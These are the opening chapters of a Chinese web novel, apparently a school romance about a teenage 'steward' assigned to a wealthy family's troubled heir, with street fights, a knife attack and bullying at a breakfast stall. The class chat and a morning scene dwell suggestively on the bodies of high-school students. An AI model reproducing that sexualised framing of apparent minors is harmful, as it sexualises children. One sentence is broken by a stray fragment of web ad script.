《禁止给工具人小管家加戏！》
1. 卖乖
淮城，城南十一中。
林柒手里勾着一串钥匙从学校出来，慢悠悠往校门外面蹭。
在教室里消磨了一张试卷的时间，总不好再耽误下去。
“哎，陆家那位太子爷真的要被发配到我们这里？”
“说什么发配呢，这么难听，我们十一中怎么了，不比他们城北一中差吧！”
“对对对，不差不差，咱还多一个字呢，数量上完全碾压！”
走在林柒前面的两个男生勾肩搭背的，凑在一起蛐蛐咕咕，仗着这时候校园里人少，说话插科打诨，毫无顾忌。
“不过我说真的，听说陆家那位明天就要来上学了，这消息应该不假吧？”
错，假。
林柒在两人身后默默吐槽，因为太子爷不是明天才到，而是现在已经到了。
“假不假的，实验班的林柒不是已经从宿舍楼里搬出去了吗？你说真的假的？”
“林柒？哦对对，我怎么把他给忘了！”
两个蛐蛐咕咕的左看右看，就是不看身后。
然后凑一起继续八卦。
“不愧是陆家的太子爷啊，被发配......哦不，是莅临，莅临我们十一中，竟然还能配个随身管家，啧啧，这待遇，真比不了。”
“可不是嘛，来十一中都有人伺候，说随身管家还是好听的，实际上就是个跟班和仆从。”
“但这跟班和仆从也降级了啊，要不是出了那事儿，这位太子爷的跟班可是城北一中的林染，我记得林染算是林柒的哥哥吧？虽说林柒成绩也不错，但林染可是城北一中的第一名，人家以后可是要跟着陆家家主的......”
说到这里，声音突然压低了下。
“但现在那位太子爷身边不仅换了人，还转到了十一中，你说陆家的意思，难道真是属意另外那个了？”
“这谁能说得准，不过没准儿陆家拿我们十一中当历练地呢，当初林柒进了十一中，而不是跟他哥一样进了一中，不就是这么说的吗，就好像鸡蛋不能放在一个篮子里一样的道理？也许下放太子爷，咳，我是说让太子爷来这里没准儿是为了历练呢。”
“哎，这里又没别人，我们就敞开说得了！”
那两人又左看右看，都快走到校门口了，都没往身后瞅一眼。
林柒都想上前提醒这两人了。
“陆家那位太子爷被转到十一中，对外说的好听，什么换个环境，换种心情，但归根究底，谁不知道是因为什么，那位就是个疯的，之前传出的视频你看过没，他都差点把人给......”
“咳。”
林柒轻咳一声，将手中的钥匙抛起来，在两人回过头的瞬间又接住，随即对上两张骤然社死的面孔。
“嗨。”
“......”
林柒眉眼弯弯：“没事儿，就是和你们打声招呼。”
“这不是都到校门口了吗，走你们身后半天，和你们说声再见。”
“............”
林柒把手中那串钥匙拎起来，晃晃，钥匙哗啦作响，上面挂着个蓝色小牌牌，应该是门禁卡，中间写着“幸福里”三个字。
幸福里是个老小区，设施老旧，但因为临近十一中，房价还不低。
两天前，林柒就拿到了这串钥匙，也接到了要从学校宿舍楼搬出来的要求。
陆家的太子爷就算是下放，也不可能住宿舍。
这串钥匙能打开一间两居室的房屋门，二室一厅一厨一卫，早提前布置好了。
“我要去接人了，往那边走。”
林柒手指了指，正好是幸福里的方向。
说完，挥挥手，就告别了正脚趾建设别墅区的两人。
过了好久，其中一个才猛吸了口气。
“陆家那位......今天就到了？！”
另一个也喘了口气，脸上同样残存着尴尬和后怕：“所以林柒刚才是在......警告我们？”
............
陆家，老牌家族，在淮城说一不二。
淮城这个地方，就算陆家自认第二，也没人敢认第一。
大家族有大家族的矜贵，不容冒犯。
城南虽然不是陆家的大本营，但有什么风吹草动，也难免不会传过去。
更何况这次太子爷惹出的乱子和动静太大，敏感期还未彻底消散。
林柒把钥匙收起来，正好手机传来信息，他拿出来查看——
【接到阿野了吗？】
是林染。
【他刚到那边可能不适应，这段时间心情也不太好，你要好好照顾他，林柒。】
【你第一次跟着人，有点分寸，不要越界。】
最后八个字，可真有点意思。
林柒想了想，也敲下一行字。
【你现在跟着的二少爷知道你还这么记挂着你口中的“阿野”吗？】
敲打嘛，谁不会。
他两个手指头按九宫格可快，这么一大串绕来绕去也没有一个字打错过。
很快消息发出去，对面就没声儿了。
林柒点点头，这才收好手机。
幸福里小区距离十一中就十分钟多点的路程，确实很近，但越靠近小区，巷子口越多，有点弯弯绕绕的，而且楼间距也很近，加上这时候天色微暗，探头往巷子口里望一眼，两米开外能见度就直线下降。
不过这并不妨碍巷子里的声音传出来。
林柒发现陆江野的时候，陆江野正在巷子里和一群人对打。
而且打架已然接近尾声。
地上七零八落躺尸了好几个人，还站着的不多，几秒钟就又能再撂倒一个。
林柒认出其中一位，吴毅，这一带专收保护费的，没想到竟然收到了陆江野头上。
也不知道该说胆子大还是蠢。
无知者无畏。
视线又回到仍显得游刃有余的人身上，矫健的身姿像是一头猎豹，又透着一股凶猛的野性，正在光与暗的交汇处，如同老旧默片一样，乍一看，仿佛只有黑白两种颜色，下一秒，陆江野那只手按在吴毅脑袋上，往墙上狠狠一撞。
嘶，默片也破碎。
那双眼睛冷冷掀起，精准看了过来。
小管家守则之一：阻止少爷发癫，禁止打架斗殴。
林柒张了张嘴，刚想说话，眼角视线骤然瞥见一抹寒光闪过——
吴毅顶着一脑门血，也不知道从哪里掏出的刀子，举着就朝陆江野冲了过去。
“尼玛了戈壁！！！”
吴毅怒吼着，还是第一次这么丢脸。
十一中这一带谁见到他不乖乖交保护费，结果今天他竟然折在这么一个生面孔手里了！
怒火烧没了理智，冲动碾压过理性。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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吴毅只想把手中的刀子捅进对方身体里。
陆江野身体极大限度的后折下弯，竟还能保持平衡，同时一个旋身，长腿一扬，飞起一脚，直接踢中了吴毅的手腕，吴毅手中的刀子霎时脱手而出，转瞬被陆江野接到手里，翻过手腕，直接对着吴毅就刺了过去。
“啊——”
吴毅惊恐瞪大双眼，那刀尖就擦过他耳朵边缘，钉在了他身后的砖墙上。
距离正正好，不差分毫。
他的耳朵甚至都能感受到来自刀子边缘的寒意。
恐惧，胆寒......这一瞬间，这些情绪才后知后觉爬满了吴毅全身。
他看向陆江野的目光满是惊恐和震颤。
“带着你的人，滚。”
保护费没收到，小命差点搭进去。
吴毅再不敢多说什么，甚至已经吐不出一个字，也不敢再多看陆江野一眼，转身就跑了。
剩下躺尸的那些个，也个个被刚才那一幕震慑到，屁都不敢放一个，老大都跑了，也赶忙爬起来，跑得刨土狼烟，屁滚尿流的，其中一个路过林柒的时候，看都不敢看林柒一眼，低着头就跑了过去。
倒是林柒往那人身上看了眼。
等收回视线时，恰恰又对上了陆江野的目光。
就这么会儿功夫，对方还点燃了一支烟。
小管家守则之二：非必要场合吸烟酗酒为不良习惯，有损对外形象，务必进行阻止和劝说。
林柒和陆江野对视。
这位陆家太子爷，不说别的，单是外貌身材都足够把形象拉回来，光影处，侧脸线条锋锐，鼻梁高挺有型，五官单拎出来都好看，组合在一起更是完美，少年人的青涩在他身上只露出半边角，而那只是年龄限制才不得已残存的印记和特征。
实际上野性更足，盯过来的视线压迫感十足。
有一点那两个同学说对了。
陆江野的确是被下放。
算是个教训，好让陆江野收收性子。
而林柒的作用，就是在服从下劝说，跟从下劝止，以身作则，忠言逆耳，良性劝导，充分当好“小管家婆”。
陆家家规严谨，甚至森严古板，大概觉得换一个人，比如他这种“低调做人，安静做事”的，应该能消磨点陆江野的狠厉脾性？毕竟他从小就和林染分班分校，和这位太子爷见面的次数都屈指可数，算起来，也就是能当个熟悉的陌生人。
这样的话，他乍一跟在陆江野身边，肯定会尽职尽责，谨小慎微一些吧？
为了抓住这次机会，拼了命表现好。
听从指令，严格执行小管家的守则标准。
总不能指望陆江野对他这个熟悉的陌生人有分寸感。
而如果能让陆江野真的有所改变，甚至能压着林染得到更多“奖赏”和“重视”也说不定。
但......这不是林柒想要的。
那间两居室的钥匙就在林柒的口袋里，接到钥匙的时候，林柒的行李早被搬了进去，只是通知了他一声。
正如现在一样，他原本想放学后留在教室做完两套卷子的，结果收到通知，为了接陆江野，只能做完一套卷子。
于是在陆江野走过来时，林柒脸上骤然扬起一抹明显卖乖讨好的笑。
“少爷，您放心，我肯定不会告诉家里的。”
下一秒，就见陆江野狠狠皱起了眉。
2. 还不起来
尽管和陆江野接触的不多，但像陆江野这样的人，大概率不会喜欢阿谀谄媚，当面一套背后一套的人。
现在这副表情就是最好的证明。
眼底的嫌恶毫不掩饰，还有一丢丢不耐烦，以及诧异？
甭管是什么，林柒要的就是这种效果。
他自己在城南待得好好的，非要来个陆家人。
甚至还是个不能把他怎么样的陆家人。
啧。
这么想着，小管家脸上的笑却更卖乖讨好。
像是印证自己说话的可信度，眼睛睁得极为真诚。
陆江野又和那双眼睛对视上，指尖猩红的火光一点点，没燃多久，就被陆江野扔在地上用脚碾灭。
这期间，幽深的眸子仍一直盯在林柒身上。
半晌才嗤笑一声，哑声开口道：“你和林染一点都不一样。”
是啦是啦，林染多负责。
林柒也笑了笑，像是以为陆江野在夸他一样：“是啊，少爷，我和我哥才不一样，我肯定事事都以少爷的意思为主。”
“少爷您放心！”
随便你做什么，鬼才懒得管你。
陆江野不说话了。
伸手掐住林柒的下巴，眯起眼睛左右转了转。
林柒比陆江野要矮半个头，他身高已经不算矮了，可这会儿陆江野前所未有的离他只有不到半米的距离，他这才发现，原来陆江野竟然长这么高，以前远远瞥去一眼没什么感觉，现在却难免觉得有些身高上的压迫感。
这家伙是不是有一米九多啊？
“什么都以我为主。”
陆江野这时候才再次开口道：“那说说，为什么来这么晚接我？”
林柒骤然一噎。
“如果不是你来这么晚接我，我也不会被堵。”
言下之意，好像自己经历了什么糟糕的事情一样，并且把这件事都怪在了林柒头上。
“......”
林柒嘴巴动了动，在说话之前，先朝陆江野贴近了一步，已经灰暗下来的巷子里，仿佛能看见林柒眼底的光。
“可是少爷好强啊，一个人竟然都把那些人给打跑了，太厉害了！”
陆江野蹙起眉，脑袋几不可察地微微往后仰了一下：“你别......”
话还没说完，林柒仿佛没听见一样，竟然又往前贴了贴。
“少爷真的好厉害，少爷你怎么能这么厉害，少爷唔——”
一只手盖住了林柒整张脸。
“闭嘴，离我远点！”
陆江野黑着脸将林柒推开，那只手能覆盖住眼前人的整张脸，推动的时候，对方乱眨的睫毛一直在扫他掌心。
把人推开一定距离后，陆江野就将手快速收了回来。
也没心情再继续之前的话题。
其实幸福里小区距离这里就还有一条街道的距离，他们住的是12栋2单元702，总共10层，楼层并不算高，但因为他们住的是老小区，房龄几十年，在几十年之前，电梯可并不是哪个小区都能普及。
所以是的没错，他们住在七楼，但是并没有电梯。
而陆江野虽然只带了一个行李箱，可这个行李箱有24寸，并且死沉死沉。
“拎着吧。”
楼栋前，陆江野抬了抬下巴，说话无情。
林柒真的很想问问，少爷您为什么非要一个人来？
带点保镖帮你搬行李不好吗？！到时候不是想搬多少搬多少？！
不过也只能腹诽，林柒还没忘了他要扮演的角色身份。
于是拎起行李箱转身就往楼上走。
陆江野老神在在跟在他身后。
转过拐角的时候，林柒抽空看了眼，这家伙竟然还双手插兜？！
可真是悠闲得要死。
他在前面哼哧哼哧干着苦力，人家在后面走得云淡风轻。
七楼，空手爬一趟都要喘口气缓一会儿，更何况林柒手里还拎着个24寸的行李箱。
两人之间的前后距离始终保持在差不多的空间大小，林柒慢，陆江野就慢，林柒停顿，陆江野就停顿，反正就是不越过他，一点帮忙的意思都没有，当然林柒也不指望陆江野能帮忙，那除非明天的太阳打从西边出来。
但问题是，陆江野明明可以越过他走前面，甚至把钥匙给陆江野，让他先一步到住处，这都没问题，林柒可以慢慢走。
可陆江野偏不，非要跟在他身后。
纯粹就是故意的。
越想越无语，林柒暗自磨了磨牙。
还双手插兜呢，有栏杆不扶，小心摔个狗吃屎！
但林柒忘了一件事，因为要提这么一大个行李上楼，他两只手可都用上了，加上要用上劲儿，提行李的时候，身子还要往另一边歪一下，好就上力气拉提起行李箱，这就导致林柒还要小心保持着平衡。
结果就是，他在心里画圈圈诅咒陆江野的时候，自己脚下却忘了看路，脚尖抬起的高度不够，直接磕到了前面的台阶上，下一刻，整个人拉扯着行李箱就往前扑了过去，眼看着那些台阶离自己越来越近，林柒下意识紧紧闭上了眼睛。
正在这时，身后传来一股大力。
短短时间内，林柒才做好迎接疼痛的准备，就又被拉扯着往后面仰倒，与此同时，手中的行李箱脱出，却没听到滚落的声音。
他都还没来得及反应发生了什么，整个人就撞进了一个宽阔的胸膛内。
睁开眼，正对上陆江野的目光。
陆江野一手揽着他的腰，一手支撑着将要斜斜倒下的行李箱，一条腿站在下一层台阶上，一条腿抬起，踩在上一层台阶上。
哪怕一手揽着人，一手支撑着行李箱，也站得稳稳当当。
而且还有力气和空闲嘲讽他——
“废物，让你提个行李箱都提不好。”
“............”
“还不起来，等我扶你？”
讥讽的语气从耳边响起，林柒一下子挣扎着站了起来。
等他伸出手想要将行李箱也提过来时，陆江野掀起眼皮冷冷看了他一眼。
“起开。”
“一会儿再来一次，我可不保证我还能接到行李箱。”
说完，看也不看林柒一眼，提着行李箱就越了过去。
走的速度比林柒快多了也稳多了。
林柒顿了一下，这才跟在陆江野身后。
702，在做出陆江野要转学的决定后，陆家就将这套房给买了下来，并且又重新装修了一番。
不过在林柒打开房门，陆江野拎着行李箱进去后，倒是没看新装修一眼，确定好自己住的主卧在哪个方位后，就径自推着行李走了过去，不过在快到门口的时候，像是想起什么，又转过头看向林柒——
“对了，卫生间只有一个，除了你上厕所和洗澡的时候，其余时间都不准关门。”
这要求有些特别。
林柒眨眨眼，下意识开口道：“那少爷你上厕所和洗澡的时候关门吗？”
回答他的，是砰一下卧室的关门声。
啧。
林柒耸了耸肩，也进了自己房间。
晚点再做晚饭也不迟，林柒拿出手机，先是看了眼班级群，里面在刷屏，聊一些没什么营养的话题，十一中不禁止学生用手机，只要不在上课期间使用，其余时间并不管这些，所以放学时间，群里还算热闹。
不过林柒通常都不在群里发言
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他照例看了几眼，便在列表中翻出一个叫“陈向松”的小草头像，点进去，私聊。
【你和吴毅是怎么回事？】
【什么时候跟在吴毅身边的？】
【阿姨知道这件事吗？】
一连三个问题，发出去，对面没有回答。
不过倒是显示在线状态。
林柒也没指望陈向松现在就回答他，反正明天还要去班里，左右人跑不了。
只要陈向松看到这几句话就行了。
留完言，林柒又进了班级群。
上面写着【高三实验1班奋勇向前冲】几个字，是班主任孔柏青取的，真可谓是平平无奇，毫无新意。
此时群里聊得比刚才还要热闹些，话题内容也转了山路十八弯，来到了陆江野身上。
因为孔柏青刚才群里发了通知，说明天会有新同学到来。
要进他们实验1班。
那除了闹得沸沸扬扬，即将转学到十一中的陆江野之外，还能有谁在这个节骨眼上转学过来。
一看就知道是谁。
更何况林柒还在他们班，这么想想也不意外。
就是......
【说白了不就是转个学生到咱们班吗，瞧你们一个个激动得跟什么似的，淡定点行不行？！】
【那人家能是普通学生吗？！这么一个大佬转到咱们班，吾等凡人不敢惹啊，哎，往后的日子可能不好过了咯。】
【那他应该是会坐到林柒旁边？我记得就林柒旁边的位置是空着的吧？】
【哇，同学这么久，你连林柒旁边的位置是不是空的都不确定？】
【嗐，谁让林柒存在感这么低，他要不是和陆家有点关系，我平时都想不起来一点好嘛。】
【对啊，我也想不起来，而且林柒平时都不在班级群里发言，就跟没他这个人似的。】
【也就平时出成绩和排名的时候能多注意他一点吧。】
林柒笑了笑，手指继续往下滑。
群里也不是第一次这么毫无顾忌的提他了，反正觉得消息会刷上去，再说他也许根本就不会去看班级群。
其实林柒也不在意，而且以往班里同学也只是想起来就顺带着提他一下。
不过今天倒是例外。
大概因为陆江野要转学到他们班的缘故，于是和陆家有关系的林柒，这会儿也被提了很多，话题还没略过去。
【话说起来，其实林柒长得挺好看的，不知道存在感为什么那么低？】
【那是，眼睛是眼睛，鼻子是鼻子的，长腿细腰，比例完美！你们几个男生说林柒存在感低，完全就是无稽之谈嘛，长得好看，身材又好，学习又好的人，怎么可能存在感低，拜托，不知道有多少女生喜欢林柒好不好？！】
【对啊，我看你们就是嫉妒林柒。】
【嫉妒？老子天下第一帅，还用嫉妒林柒吗？！】
【曲回舟，每每这个话题都少不了你，你能不能别这么自恋！】
【哼，就自恋。】
【不过曲回舟你和林柒不是一个风格的长相，其实不用比，但明天新转学过来的那位太子爷，可和你是一个风格的长相，但有一说一，人家是正正经比你长得帅，我们一致投票选出的，人家压倒性的胜利哦。】
【靠！我@%#*&............】
曲回舟在群里跳脚，林柒看着看着，就见群里又多加了一个人进来。
正巧这时候，有人致力于将话题再拉回来，发了一句——
【能不能先别比帅了，再说说林柒啊，他除了长腿细腰外，屁股还很翘呢！】
陆江野进群后，正好看到这句话，不由得挑了挑眉。
3. 看够了吗
群里新进来个人，最下方会有小蓝字低调提示。
说显眼也还算显眼，但奈何群里正聊得热闹，好几个都给直接忽视过去了，这就导致......
两个话题中心的人共同围观了群里人对于林柒屁股究竟翘不翘的讨论。
说得林柒都想侧过身摸一下自己的屁股了。
群里还在嗨聊，正当林柒还在想要不要出个声冒个泡的时候，班主任孔柏青直接跳出来艾特了陆江野。
孔柏青不是孔夫子：【欢迎陆同学加入我们实验1班@陆江野，[撒花][撒花][撒花]】
骤然间，仿佛有鬼来了的一片诡异死寂。
下一秒。
陆江野冒出来：【嗯。】
林柒看着那个“嗯”字挑了挑眉，故意的，这绝对是故意的。
就跟让他提着行李箱上楼，非要走他后面看热闹一样，没准儿就是为了教训他先前转移话题的行为。
啧。
心眼子忒小。
不过......
林柒只提着行李箱爬了三层，后面四层可都是陆江野提着行李箱爬上去的。
在他差点摔倒之后，陆江野也没让他再提回来。
这人究竟？？
陆江野回了一个“嗯”字之后，也没去管其他人会是什么反应。
手指头动了动，往上翻了几下，还能看到这些人之前的聊天记录，包括说林柒存在感低的那些话。
存在感低？
从不在群里说话？
倒是和出现在陆家时一样。
陆江野眯了眯眼，就是不知道这些人清不清楚，他这位小管家私下里这么会谄媚卖乖？
是低调行事还是不屑和这些人交流？
陆江野退出班级群，见后台另一个软件有人给他发来了消息，他没点开看，直接将手机扔到了一边。
第二天。
林柒听见闹钟准时醒过来，睁眼看到天花板，才反应过来自己已经搬出来住了，这里不是宿舍。
隔壁还住着金贵少爷。
小管家守则之三：保证良好作息，饮食规律，坚定执行，务必使少爷养成良好的行为习惯。
林柒木呆呆瞪着天花板半晌，这才叹口气，认命爬起来去洗漱。
洗漱完还要叫人起床。
结果敲了半天房门也没人应。
“少爷？”
“少爷再不起可就要迟到了。”
“少爷你想吃什么早饭，我做还是出去吃？”
“少爷你是想吃西式早餐还是中式早餐？”
“少爷，少爷......”
林柒一边喊一边敲，一边敲一边喊，跟打着节拍一样，说着说着都快有节奏感了。
砰的一声——
房门打开，陆江野阴沉着脸出现在门后。
一副没睡醒起床气超高的样子。
浑身上下只穿了条黑色四角内裤，超绝的身材在林柒面前展露无遗，肩宽窄腰大长腿，比例完美，腹肌明显，还有着少年人的青涩，但恰到好处的肌肉线条又毫无阻挡地朝着成熟性感迸发，令人难以移开视线。
尤其是大早上，腰部以下难免要拔起高度的地方。
非常之可观。
能到吓人的地步。
以至于林柒是真没想到他眼前会出现这样一幅画面，一时间竟不知道该作何反应。
“看够了吗？”
直到陆江野还带着晨起的沙哑声音响起，林柒才骤然回过神。
摸了摸鼻尖，林柒飘忽开视线提醒道：“少爷，今天可是您转学第一天。”
“那又怎么样？”
陆江野看着林柒，突然嗤了一声：“我不想起不行吗？”
行，怎么不行。
就是麻烦要找他身上了。
林柒心里点着头，脸上作恍然大悟状，回转视线直直盯向陆江野：“少爷您是不是不想自己穿衣服？没关系，我可以伺候少爷穿衣洗漱的，少爷你想搭配什么样风格的衣服都可以，我现在就进来帮少爷选衣服——”
一边说着，林柒就要上手。
脚也往前迈。
砰一声。
陆江野直接又把门关上了。
“少爷啊！”
林柒在外面挠门。
咯吱咯吱的。
“等着！！”
林柒收回手，翻了个白眼。
不过到底是耽误了时间，不能在家做早饭了，只能路上买点吃。
好在从幸福里到十一中这一路上，有一条街上全是卖早点的，煎饼果子炸油条，豆浆豆腐脑，烧饼手抓饼，应有尽有。
十一中跑家的学生都爱在这里吃。
每次吃完还都会带一大包东西，甚至要左手右手一起提着走。
基本上都是帮学校里住宿的同学拿的。
已经成了十一中的风俗。
不过林柒倒是没怎么吃过这里的早餐，这会儿还有些新奇。
哪里都想看看，哪个都想尝尝。
“就吃那个吧。”
陆江野抬了抬下巴，指向前面一家早餐摊。
林柒视线望过去，几不可察一顿。
那是个小摊子，只卖豆腐脑油条，就一个小推车，后面放了两张塑料桌和八个塑料板凳，其中一张塑料桌已经坐了几个人。
是吴毅和他两个跟班。
很难说陆江野不是故意的。
而且除了吴毅，这个早餐摊......
“要两碗豆腐脑，四根油条。”
陆江野插兜站在小摊位前，声音懒懒的，站姿也懒懒的，这么大高个杵在那里，十分招眼。
这个时间路过的学生不少，很多都要往陆江野身上瞥一眼。
有些人，大概天生就是人群焦点。
林柒在后面暗自撇了撇嘴，上前指了指摊位前的一块板子：“阿姨是聋哑人，听不见你说什么的。”
陆江野眼底闪过诧异。
正巧这时候摊位后的阿姨也反应过来，看了看陆江野，又看了看林柒，笑着用手比划着什么。
不等陆江野想怎么回应，结果就见林柒也比划起手语。
眼底神色闪了闪，陆江野默不作声看着。
“少爷，阿姨问你豆腐脑吃咸还是吃甜，咸的话加不加蒜汁？还有——”
“嗤，还少爷，这什么身份啊，还让人叫少爷，真是搞笑。”
一道声音直接插了进来。
大概是过了一晚上，缓过劲儿了，所以这时候想找补回来。
说话连嘲带讽的，找茬的指向性简直不要太明显。
结果林柒倒是看了吴毅一眼，陆江野连个眼神都没瞥过去，直接给忽视掉了。
这种无视的态度最能激人。
霎时间吴毅的脸色就有些不好。
想要发作，但想起昨天巷子里发生的事，眼底还是闪过一丝恐惧。
正巧这时候又有人过来。
“阿姨，我要甜豆腐脑！”
那人连说带比划的，不会手语，但知道怎么指，一看就是常来吃的。
“娘炮。”
曲回舟顿了顿，看向吴毅那边：“你说什么？”
“是在说我吗？”
吴毅正憋着火呢，闻言极其轻蔑地看向曲回舟：“说的可不就是你，娘炮，大老爷们吃甜豆腐脑，你不是娘炮是什么？”
“你们说，他是不是娘炮？”
两个跟班嘻嘻哈哈笑成一堆。
“可不是嘛，我吃豆腐脑从来不要甜的。”
“我喝豆浆都从来不加糖好不好！”
曲回舟嘴角抽了抽：“......”
这三个纯种傻逼吗？
原本还想找个说法的，结果就这？
算了算了，和傻逼们计较，自己也得成傻逼了。
曲回舟翻了个白眼，直接就无视过去了。
但他不知道，这是吴毅第二次遭到了无视......
陈向松低着头，从小摊位后面端着两碗豆腐脑出来，要去放另一个塑料桌上。
这两碗豆腐脑就是林柒和陆江野的，陈向松是在这里帮他妈妈的忙，等上学快到点了才会离开。
林柒和陆江野过来的时候，他全程低着头，这会儿要帮忙才有动作。
只是就在快要路过吴毅的时候，吴毅直接伸出了一只脚——
砰！
陈向松摔了出去，整个人扑到前面的塑料桌上，两碗豆腐脑洒了一桌子。
“玛德你走路没长眼睛是不是？！端个尼玛豆腐脑都端不稳，骂别人娘炮没骂你是吧？！这种活儿都干不好，干脆你也去给别人当个少爷好了？！这不就有现成伺候的人嘛，你干脆问问他愿不愿意伺候你和你那个聋哑的妈得了！”
林柒：“......”
曲回舟：“......”
陈向松被拽着头发拉起来，塑料桌上的豆腐脑汁流到了吴毅的鞋子上。
“艹，老子的新鞋！你踏马给老子赔钱！一千块，赶紧的！”
陈向松脸色发白，摇着头：“我......我没钱，吴哥，我真没钱——”
“警告你，老子现在心情很不爽，你踏马没钱？！去你妈那里翻啊！翻到多少给我多少！让你赶紧的，别给脸不要脸啊！”
“不......吴哥，我们之前说好的，你怎么能
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......”
陈向松话还没说完，另一边，他的母亲杨娟在反应过来后，就骤然扑过来，想把儿子救出来，同时苍白着一张脸，又是双手合十又是比划手语，又想要拉儿子的手臂，嘴里甚至还啊啊着，着急想要说些什么的样子。
“玛德！老太婆烦死了！离我远点！”
吴毅十分不耐烦，伸手就将杨娟给狠狠推开了。
林柒险险将人扶住，下一刻就想动手。
结果有一个人动作比他还快。
陆江野抄起凳子，直接就砸向了吴毅的脑袋。
砰，塑料凳直接碎了。
另外两个跟班见状，就要上前支援。
林柒和曲回舟对视一眼，也加入了这场“混战”。
一秒开局，十秒结束。
说到底吴毅不过是硬撑着想找回面子，结果还是太高估自己了，蠢得要死。
不仅蠢，还坏，也就仗着平时人多，没多少人敢招惹，但陆江野昨天一个人就能干翻他们一堆人，现在对面只有三个人，在林柒和曲回舟又加入的情况下，短时间内控制事态根本不是问题。
“以后别让我在这一带再看见你们，不然见一次打一次。”
陆江野阴沉着脸抓起吴毅的头发，在这之前，吴毅被抓着头发，眼睛差点撞上地面竖起的塑料碎片。
此时惊惧还在他眼中凝聚。
刚才就差那么一点儿距离。
昨天临近刀锋的恐惧终于又一次清晰袭来......
林柒看了看抱在一起的陈向松和杨娟，上前一步：“听见了吗，以后这一带都是我们少爷罩着了！”
“你要是再想找茬，不如先打听打听我们少爷是谁！”
陆江野一顿，抬头看了林柒一眼。
林柒讨好微笑：少爷我表现好吧？
到底没说什么，陆江野松开手，将人踹走，等三个都跑走后，他拿出手机，直接对着小摊位上的二维码转了账。
叮咚一声。
收款2万元。
曲回舟在旁边吹了声口哨。
大款啊。
杨娟听不到声音，所以她手机一直都是亮屏放着，这会儿看到打款，直接急着摆手加比划，又拿起手机想要把钱给退回来。
陆江野转头盯向林柒，意味不明道：“不是会手语吗，告诉她，这是补偿。”
林柒：“......”
哦豁。
“哇，林柒，你还会打手语呢？”
旁边传来曲回舟的声音：“你什么时候学的？不是，你学这个，学来干什么啊？”
“咱们同学这么久，我怎么不知道你还会打手语呢？”
林柒：......能不能闭嘴！
“我们先帮忙收拾下这里吧，还有，上学要迟到了！”
林柒说完，到底还是和杨娟解释，说不用还了，他这位同学家里不趁别的，就趁钱了，除了钱，要啥啥没有，阿姨你要是不收着，就是不尊重他，就是在踩他面子，这要是让他们家知道了，非得气到吐血！这就是看不起他们家！
仗着除了陈向松别人都看不懂手语，林柒一通乱比划。
成功吓得杨娟收了钱。
陈向松欲言又止，被林柒暗自瞪了一眼，也没敢说话。
收了钱，又帮忙收拾了一下残局，曲回舟下意识看了眼时间，直接一嗓子喊了出来——
“靠！真的要迟到了！！”
“我记得今天是老潘头执勤，赶紧跑！要是被老潘头逮住就完蛋了啊啊——”
这一下，就连陈向松的脸色都白了。
赶紧拎上书包跟在曲回舟身后。
“你们两个还不赶紧着，快点啊！”
林柒还是第一次快要迟到，也不得不跑起来。
跑到一半回头，发现陆江野根本没挪动几步，还慢悠悠走着呢。
“少爷，快点啊！”
林柒不得不返回去，拉起陆江野的手腕跑起来。
猝不及防下，还在想着什么的陆江野，还真被拉着跑了起来，他低头看着手腕被握住的地方，又看向前面飞奔的身影，不由得在心底轻啧了一声，脚下倒是不慢，一直跟着人跑到了校门口。
结果一行四个人气喘吁吁，还是晚了一步。
“你们都是哪个班的？！”
校门口挺着将军肚的教导主任双手叉腰，唾沫子横飞。
“罚站！通通罚站！”
于是在陆江野转学的第一天，林柒不仅迎来了第一次迟到，也迎来了第一次罚站。
不知道为什么，他总有一种预感。
也许自己在这之后，还会迎来很多个第一次......
4. 求夸
实验一班门口，一道亮丽的风景线整齐排列开，一二三四，足足四道身影，真可谓难得一见。
于是教导主任潘胜大手一挥，既然这么难得，干脆再每人写一篇检讨吧，不用多，800字足矣。
拿着笔和本，排排站窗台边上写就行了，多便利。
而且高度也正好，连凳子都不用坐。
孔柏青从四人身后走过，盯过来的视线像是在看死人。
一共才有几个迟到的，他们实验一班竟然占了四个？！
天杀的呦，他心脏病都要犯了！
脑袋毛今天是不是又要秃两根？！
“来来来，陆江野同学，你站离门口近的窗户这边，咱们早上的欢迎仪式干脆就这么进行得了。”
孔柏青一脚踏在教室门口外，一脚踏进教室门口里，侧着身子招呼完陆江野，就又转过头朝里面拍拍手：“来来来，里面的同学们，探出你们的脑袋，对对，看这里，让我们一起欢迎今天新转学过来的，陆江野陆同学，来，伸着脖子掌声欢迎！”
陆江野：“......”
全班同学：“............”
呱唧呱唧，掌声四起，配合得那叫一个好。
那从稀稀拉拉，到逐渐热烈起来的激//情掌声，以及齐整整顺着脑袋同步过来的探照灯视线，仿佛不止是对陆江野一个人的欢迎仪式，还有对并排站一起的林柒，曲回舟以及陈向松三个人的“热情祝贺”。
一切都很完美，一切尽在不言中。
林柒木着一张脸，心想真好，他还从来没有过这么“高调”的时候......又一个第一次这不就来了吗。
全是拜陆江野所赐。
呵呵。
............
不写完检讨，不准回教室。
欢迎仪式搞完，孔柏青丢下这一句话后，就进教室里面看着早自习去了。
剩下四个风中凌乱中。
林柒已经写了一半多，看旁边陈向松也差不多是这样，低着头写得认真。
再隔壁的曲回舟，眉头紧锁，字体看着都差不多，“我错了我错了”一路循环下去，难得能见到几个生面孔。
另一边，陆江野转着笔，视线倒是也在盯着检讨看，但很显然思绪已经不知道神游到什么地方去了。
所谓的肉//体禁锢，灵魂自由，在此刻已然生动具象化。
林柒不是很想理会，但胳膊还是撞了撞对方。
在陆江野看过来后，眼神示意：少爷您好，赶紧写吧。
陆江野也不知道是怎么从林柒眼神中看出“问好”的意思来的，饶有兴致看了几眼，眉梢一挑：不想写。
林柒：“......”
少爷你在说什么我看不懂赶紧写就是了别墨迹谢谢。
林柒已读乱回，嗖一声转过了脑袋。
好在陆江野也不知道怎么想的，到最后还是写了一份检讨出来，就是具体写的怎么样就不清楚了。
倒是有些出乎意料。
林柒还以为陆江野怎么都不会写呢。
转学第一天，说平静也不平静，但说不平静其实也很寻常。
陆江野被安排在林柒身边，身后就是曲回舟。
有趣的是，陈向松就坐在林柒前面。
这人他有印象，不是因为早餐摊，是昨天跟在吴毅身边一起堵他的其中之一，不过倒是没跟着动手。
正想着，就见左前方陈向松站起来，转过身，朝陆江野的方向鞠了一躬。
嘴唇轻微蠕动，声音怯懦：“谢谢您......对不起......”
陆江野挑了挑眉。
后面曲回舟“哎哎”两声，大大咧咧：“陈向松，你怎么就只谢谢陆江野不谢谢我和林柒啊？”
“不，不是，也谢谢的。”
说完，陈向松还真朝林柒和曲回舟的方向也鞠了一躬。
